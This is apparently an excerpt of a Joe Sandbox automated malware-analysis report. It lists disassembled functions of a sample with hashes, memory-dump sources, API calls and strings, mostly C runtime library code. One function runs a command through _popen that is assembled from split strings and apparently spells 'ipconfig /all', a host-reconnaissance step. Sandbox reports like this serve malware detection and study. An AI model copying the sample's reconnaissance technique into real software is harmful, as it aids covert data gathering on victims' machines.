                                                                                              Similarity
                                                                                              • API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::__getptd_noexit
                                                                                              • String ID:
                                                                                              • API String ID: 781512312-0
                                                                                              • Opcode ID: 09c68a50bd47c7bf267de1c3bdc0ba131d5d7b7b035b4d466721f91e679bcc49
                                                                                              • Instruction ID: 1463b95f962a2c4ed0484da295b915dcaa86e61aa08945f31abe9f880451e9d3
                                                                                              • Opcode Fuzzy Hash: 09c68a50bd47c7bf267de1c3bdc0ba131d5d7b7b035b4d466721f91e679bcc49
                                                                                              • Instruction Fuzzy Hash: 74412472A04AE981FBE6AB1194443FC33E1E769BE5F94C127F7940B6C4DE28CA59C300
                                                                                              Function 000000018001FB08 Relevance: 10.6, APIs: 7, Instructions: 72COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_invalid_parameter_noinfo
                                                                                              • String ID:
                                                                                              • API String ID: 3191669884-0
                                                                                              • Opcode ID: 5783f4b1dd017fb1a830f9521c0264a2e8a683892d4a9340d148e56afd20a2f5
                                                                                              • Instruction ID: 38719a02ea3c86b8d5291e46a8136ec8eec5fe1ec93e4373e37e687ae71c17b6
                                                                                              • Opcode Fuzzy Hash: 5783f4b1dd017fb1a830f9521c0264a2e8a683892d4a9340d148e56afd20a2f5
                                                                                              • Instruction Fuzzy Hash: D0315C72608B888AE7A29B51D4947ADA6A4F79CBE4F54C121FE9807BD5CF34CA49C700
                                                                                              Function 000000018000EAF0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: Exception_callnewh_errno$AllocEncodeFileHeaderHeapPointerRaiseThrow_calloc_crt_calloc_implmalloc
                                                                                              • String ID: bad allocation
                                                                                              • API String ID: 2559036412-2104205924
                                                                                              • Opcode ID: 7ed4f8dcc8abfdd754c6a1bcdbd0e5a601b3b0274017d080a343cb8788dadbea
                                                                                              • Instruction ID: aec9cb9010f4079b23ed819f23de61198561f562207619006237ed15ed39fd94
                                                                                              • Opcode Fuzzy Hash: 7ed4f8dcc8abfdd754c6a1bcdbd0e5a601b3b0274017d080a343cb8788dadbea
                                                                                              • Instruction Fuzzy Hash: 77115A71602B4D85EF9ADB90A8553EA33A4E75D3C4F448420EA4A0AB95EF3CC79DC740
                                                                                              Function 0000000180002A5C Relevance: 10.5, APIs: 7, Instructions: 38COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$ErrorFreeHeapLastLocinfo::_Locinfo_dtor_errnosetlocalestd::_
                                                                                              • String ID:
                                                                                              • API String ID: 1855319098-0
                                                                                              • Opcode ID: 86c92858822dfb3e0a8c05a62da117fa8f7b8e3651fd88d8ae2e139e0c59242f
                                                                                              • Instruction ID: 4c4d38d6e4a38a8861801e66c0c4c46ae7bc992e827a172b265c7cdaf4a7f0c8
                                                                                              • Opcode Fuzzy Hash: 86c92858822dfb3e0a8c05a62da117fa8f7b8e3651fd88d8ae2e139e0c59242f
                                                                                              • Instruction Fuzzy Hash: 2D11007670295845FFAFDEA1C0A53F82390DF5DF88F188515B90609186CE65CACCD391
                                                                                              Function 00000001800140B0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 22COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: _getptd
                                                                                              • String ID: MOC$RCC$csm
                                                                                              • API String ID: 3186804695-2671469338
                                                                                              • Opcode ID: 4c3589bdcd3eb91693c6052d6b7662b54bb582d69b2a181c524e9a32a4ba9114
                                                                                              • Instruction ID: 49d3ecbaffb7a3366f98abf3f454cfc5eafa5fd80de2831b5844318c4098f760
                                                                                              • Opcode Fuzzy Hash: 4c3589bdcd3eb91693c6052d6b7662b54bb582d69b2a181c524e9a32a4ba9114
                                                                                              • Instruction Fuzzy Hash: 48F0303690490CCAE7A72BA680053EC3190E79C785F95C462B7040A392DFBC4BDC8B12
                                                                                              Function 0000000180003948 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 115COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: rand
                                                                                              • String ID: VUUU$gfff
                                                                                              • API String ID: 415692148-2662692612
                                                                                              • Opcode ID: 01cff65647ab57d6a51077d5da35929bba0939699e571aad53c64250b8d2da85
                                                                                              • Instruction ID: 5a9f3911035291b3d45d4327f77069f30eef1c18068163774272d8c2c74d21ab
                                                                                              • Opcode Fuzzy Hash: 01cff65647ab57d6a51077d5da35929bba0939699e571aad53c64250b8d2da85
                                                                                              • Instruction Fuzzy Hash: 5E412832320A5881EB5ECB2ED40639C7655F389FC4F28C129E6964B7D5CF75C646C381
                                                                                              Function 00000001800094EC Relevance: 7.7, APIs: 5, Instructions: 153COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: fgetc
                                                                                              • String ID:
                                                                                              • API String ID: 2807381905-0
                                                                                              • Opcode ID: bcc191a65014716d2c4a525ee565ab70f8784ee01b34e641136c42218efe682e
                                                                                              • Instruction ID: a4d8914f64e4a6787cee21238c0ecde2a37e96dfca5c7460683af53b69780aac
                                                                                              • Opcode Fuzzy Hash: bcc191a65014716d2c4a525ee565ab70f8784ee01b34e641136c42218efe682e
                                                                                              • Instruction Fuzzy Hash: 64714773216A48C9EBA2CF79C4903DC33A5F748B98F548622EA1D87B99DF35C658C300
                                                                                              Function 000000018001EED0 Relevance: 7.6, APIs: 5, Instructions: 93COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: ByteCharLocaleMultiWide$UpdateUpdate::__errno_isleadbyte_l
                                                                                              • String ID:
                                                                                              • API String ID: 2998201375-0
                                                                                              • Opcode ID: 5f7f30d4f52ae6060e863736173fa21d2a6ab6fe9e5cb4e6b269608deba92a63
                                                                                              • Instruction ID: 2aebce520fdb1030d0284b8c206deaa41544c98ff3ad4a6e5fa590660e41ce29
                                                                                              • Opcode Fuzzy Hash: 5f7f30d4f52ae6060e863736173fa21d2a6ab6fe9e5cb4e6b269608deba92a63
                                                                                              • Instruction Fuzzy Hash: C9418432204BC486E7A28F15D5807ADB7A5F749FC4F18812AFF8957B95DF38C6468700
                                                                                              Function 0000000180007844 Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: Exception$Copy_strFileHeaderRaiseThrow_errno_invalid_parameter_noinfo_pclose_popenfgetsstd::exception::_std::exception::exception
                                                                                              • String ID:
                                                                                              • API String ID: 3601989276-0
                                                                                              • Opcode ID: d1c2bdcf21dbd9d423f0d28255e81b47b34df9d7cb371919aeb036999a29bb31
                                                                                              • Instruction ID: 741494ff8c48c603f060340f3164d7186deb76b59b713062cd81cd43f84d4af3
                                                                                              • Opcode Fuzzy Hash: d1c2bdcf21dbd9d423f0d28255e81b47b34df9d7cb371919aeb036999a29bb31
                                                                                              • Instruction Fuzzy Hash: 6A31A472208B8881EBA2DB14E4403EA7790F79C7D4F509225BADD06BA6DF7CC349CB40
                                                                                              Function 000000018000E140 Relevance: 7.5, APIs: 5, Instructions: 32COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: __pctype_func__updatetlocinfo_getptd$___lc_codepage_func___lc_locale_name_func_calloc_crt_calloc_impl
                                                                                              • String ID:
                                                                                              • API String ID: 3512513021-0
                                                                                              • Opcode ID: 62c1cbee3eeab5feb9a9471646cb676fdd12a501e9097593323f67b1d88a1167
                                                                                              • Instruction ID: 7793111aec6b320c0444ed4408f00ebbd1bf385ae56298b6bcfa5de9583244fa
                                                                                              • Opcode Fuzzy Hash: 62c1cbee3eeab5feb9a9471646cb676fdd12a501e9097593323f67b1d88a1167
                                                                                              • Instruction Fuzzy Hash: B4F03C36601B4886FB96EBA1D0553DD7294EB4DB94F14C024AA480F386DE78C6988790
                                                                                              Function 0000000180011DF8 Relevance: 7.5, APIs: 5, Instructions: 25COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: _getptd$_inconsistency$DecodePointer_amsg_exit_getptd_noexit
                                                                                              • String ID:
                                                                                              • API String ID: 3669027769-0
                                                                                              • Opcode ID: 673b4aa047bda2a26adaca918e4e1710e602350ae02d7803f2f45d4422cebc96
                                                                                              • Instruction ID: 7f289c60e3e5ead815e9fb0deebe04b87a0113275dc322f373711cfba365a46d
                                                                                              • Opcode Fuzzy Hash: 673b4aa047bda2a26adaca918e4e1710e602350ae02d7803f2f45d4422cebc96
                                                                                              • Instruction Fuzzy Hash: 6BF0F832605D8884EFE66BE5E0413EC62A4A78CBC0F0CD532BA540728BDE24CA988715
                                                                                              Function 0000000180007AFC Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 152COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 0000000180007844: _popen.LIBCMT ref: 00000001800078AF
                                                                                                • Part of subcall function 0000000180007844: std::exception::exception.LIBCMT ref: 00000001800078E8
                                                                                                • Part of subcall function 0000000180007844: _CxxThrowException.LIBCMT ref: 0000000180007905
                                                                                                • Part of subcall function 0000000180007844: fgets.LIBCMT ref: 0000000180007918
                                                                                                • Part of subcall function 0000000180007844: _pclose.LIBCMT ref: 000000018000794C
                                                                                                • Part of subcall function 0000000180001C6C: std::ios_base::getloc.LIBCPMT ref: 0000000180001C98
                                                                                              • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0000000180007D7C
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: ExceptionIos_base_dtorThrow_pclose_popenfgetsstd::exception::exceptionstd::ios_base::_std::ios_base::getloc
                                                                                              • String ID: /al$ipco$nfig
                                                                                              • API String ID: 3732825809-4231646982
                                                                                              • Opcode ID: dbaa752e8154bc0cc6caaa03e8230bf6fd0d8898ab36d12704d0370fedaf7faf
                                                                                              • Instruction ID: 6926da448ab1069d436c1e7fa02b7cb9475c7a4b0967c623bb61332d437d7b94
                                                                                              • Opcode Fuzzy Hash: dbaa752e8154bc0cc6caaa03e8230bf6fd0d8898ab36d12704d0370fedaf7faf
                                                                                              • Instruction Fuzzy Hash: 8F716C32624AC889EBA1DF34D8407DD3761FB597A8F409216BA6D17AEADF34C749C340
                                                                                              Function 000000018000DDBC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 000000018000DE3F
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: DebugDebuggerErrorLastOutputPresentString
                                                                                              • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                                                                              • API String ID: 389471666-631824599
                                                                                              • Opcode ID: 33fbd82ec615fb154af6f43fde0eae5fa8eb4888bf39986b946d19888a6a70be
                                                                                              • Instruction ID: d5ee5c9dcf396ed7facc9644c7050836ca73802e6f415431e0a9a1f9314bbde0
                                                                                              • Opcode Fuzzy Hash: 33fbd82ec615fb154af6f43fde0eae5fa8eb4888bf39986b946d19888a6a70be
                                                                                              • Instruction Fuzzy Hash: 6B117032210B89A7FB86DB26E6443E933A0FB1C7D5F408125E74982A51EF38D27CC710
                                                                                              Function 0000000180028C64 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: _getptd$_inconsistency$DestructExceptionObject
                                                                                              • String ID: csm
                                                                                              • API String ID: 2821275340-1018135373
                                                                                              • Opcode ID: 18c17b8c94a5013d6eb95dd80769f550abc15144edc4f46f68586cd446b39432
                                                                                              • Instruction ID: 6e987fdb1575cbca1b21a57fbbd9e0c616818e880af96d90db9cfcad4a344b50
                                                                                              • Opcode Fuzzy Hash: 18c17b8c94a5013d6eb95dd80769f550abc15144edc4f46f68586cd446b39432
                                                                                              • Instruction Fuzzy Hash: 69018636542A898AEBA29F31D8427EC33A4EB5DBDDF589531FD094A745CF30CA89D340
                                                                                              Function 000000018000EA4C Relevance: 6.1, APIs: 4, Instructions: 75COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: _wfsopen$fclosefseek
                                                                                              • String ID:
                                                                                              • API String ID: 1261181034-0
                                                                                              • Opcode ID: 3e53d3792e5a9509b78e8548b9d6a348b1372f372ad0d4f67881cf57339c7e0c
                                                                                              • Instruction ID: bacddf8f21183662a6fbd078512463851c75f916bc6fd8a3ad275ea0fa6aff29
                                                                                              • Opcode Fuzzy Hash: 3e53d3792e5a9509b78e8548b9d6a348b1372f372ad0d4f67881cf57339c7e0c
                                                                                              • Instruction Fuzzy Hash: 64210531320AC884FBE6DB1A94417E97691A78FBC0F19C124FE49A77D5DE34C64A8300
                                                                                              Function 00000001800279DC Relevance: 6.1, APIs: 4, Instructions: 62stringCOMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_getptd_noexit_invalid_parameter_noinfostrchr
                                                                                              • String ID:
                                                                                              • API String ID: 4151157258-0
                                                                                              • Opcode ID: b5374dd9cdd158156e514ae61f4b06f8005796fffd6f488b5722b6490c6d405e
                                                                                              • Instruction ID: a970c59fd9778c60c3a47af8d76f23792f1865e1d7fd1e0db758c1ad1b3433ce
                                                                                              • Opcode Fuzzy Hash: b5374dd9cdd158156e514ae61f4b06f8005796fffd6f488b5722b6490c6d405e
                                                                                              • Instruction Fuzzy Hash: A221C0723086A841EBE7461190503BDA7D2E3C8BE4F58C121FA8E0AAD6DD28C7498712
                                                                                              Function 0000000180018CF8 Relevance: 6.1, APIs: 4, Instructions: 60stringCOMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: Locale$UpdateUpdate::___updatetlocinfo__updatetmbcinfo_errno_getptd_getptd_noexit_invalid_parameter_noinfostrrchr
                                                                                              • String ID:
                                                                                              • API String ID: 3640024801-0
                                                                                              • Opcode ID: d9980e661e664fea718c639ab5027c0be1a1fe41c3daf01c9ef9d62a48015d49
                                                                                              • Instruction ID: 9c9a3f69ce2196cc367e03635f52a28889bab600fbe4c363c8d1fd145df8681f
                                                                                              • Opcode Fuzzy Hash: d9980e661e664fea718c639ab5027c0be1a1fe41c3daf01c9ef9d62a48015d49
                                                                                              • Instruction Fuzzy Hash: 8E11E772604F8881FBE78614B0443FD67A19B99BD4F1CC526FA9A077C9CE28C74C9741

                                                                                              Executed Functions

                                                                                              Function 6CF919CE Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(kernel32.dll,?,?,6CF8B8C3,?,00000003,?,00000004), ref: 6CF919E0
                                                                                              • GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 6CF919F0
                                                                                              • EncodePointer.KERNEL32(00000000,?,6CF8B8C3,?,00000003,?,00000004), ref: 6CF919F9
                                                                                              • DecodePointer.KERNEL32(52B054DF,?,?,6CF8B8C3,?,00000003,?,00000004), ref: 6CF91A07
                                                                                              • GetLocaleInfoEx.KERNEL32(00000004,?,00000003,?,?,6CF8B8C3,?,00000003,?,00000004), ref: 6CF91A26
                                                                                              • GetLocaleInfoW.KERNEL32(00000000,?,00000003,?,?,6CF8B8C3,?,00000003,?,00000004), ref: 6CF91A3D
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: InfoLocalePointer$AddressDecodeEncodeHandleModuleProc
                                                                                              • String ID: GetLocaleInfoEx$kernel32.dll
                                                                                              • API String ID: 3226634038-1547310189
                                                                                              • Opcode ID: 4c337c28f27eeaf11ab05fe769d0fdfb4c3abb2f67ead09b3bebf53208cdd453
                                                                                              • Instruction ID: 4b2225b043d0b77f61bfd3e27a79323ecd5ee5037255462daefefc52a0ebe46c
                                                                                              • Opcode Fuzzy Hash: 4c337c28f27eeaf11ab05fe769d0fdfb4c3abb2f67ead09b3bebf53208cdd453
                                                                                              • Instruction Fuzzy Hash: AB01813690121ABFAF019FA0EC08A9E7F79EF0D6667108020FD1596520DB31C920DFA1
                                                                                              Function 6CF70090 Relevance: 9.5, APIs: 3, Strings: 2, Instructions: 790COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
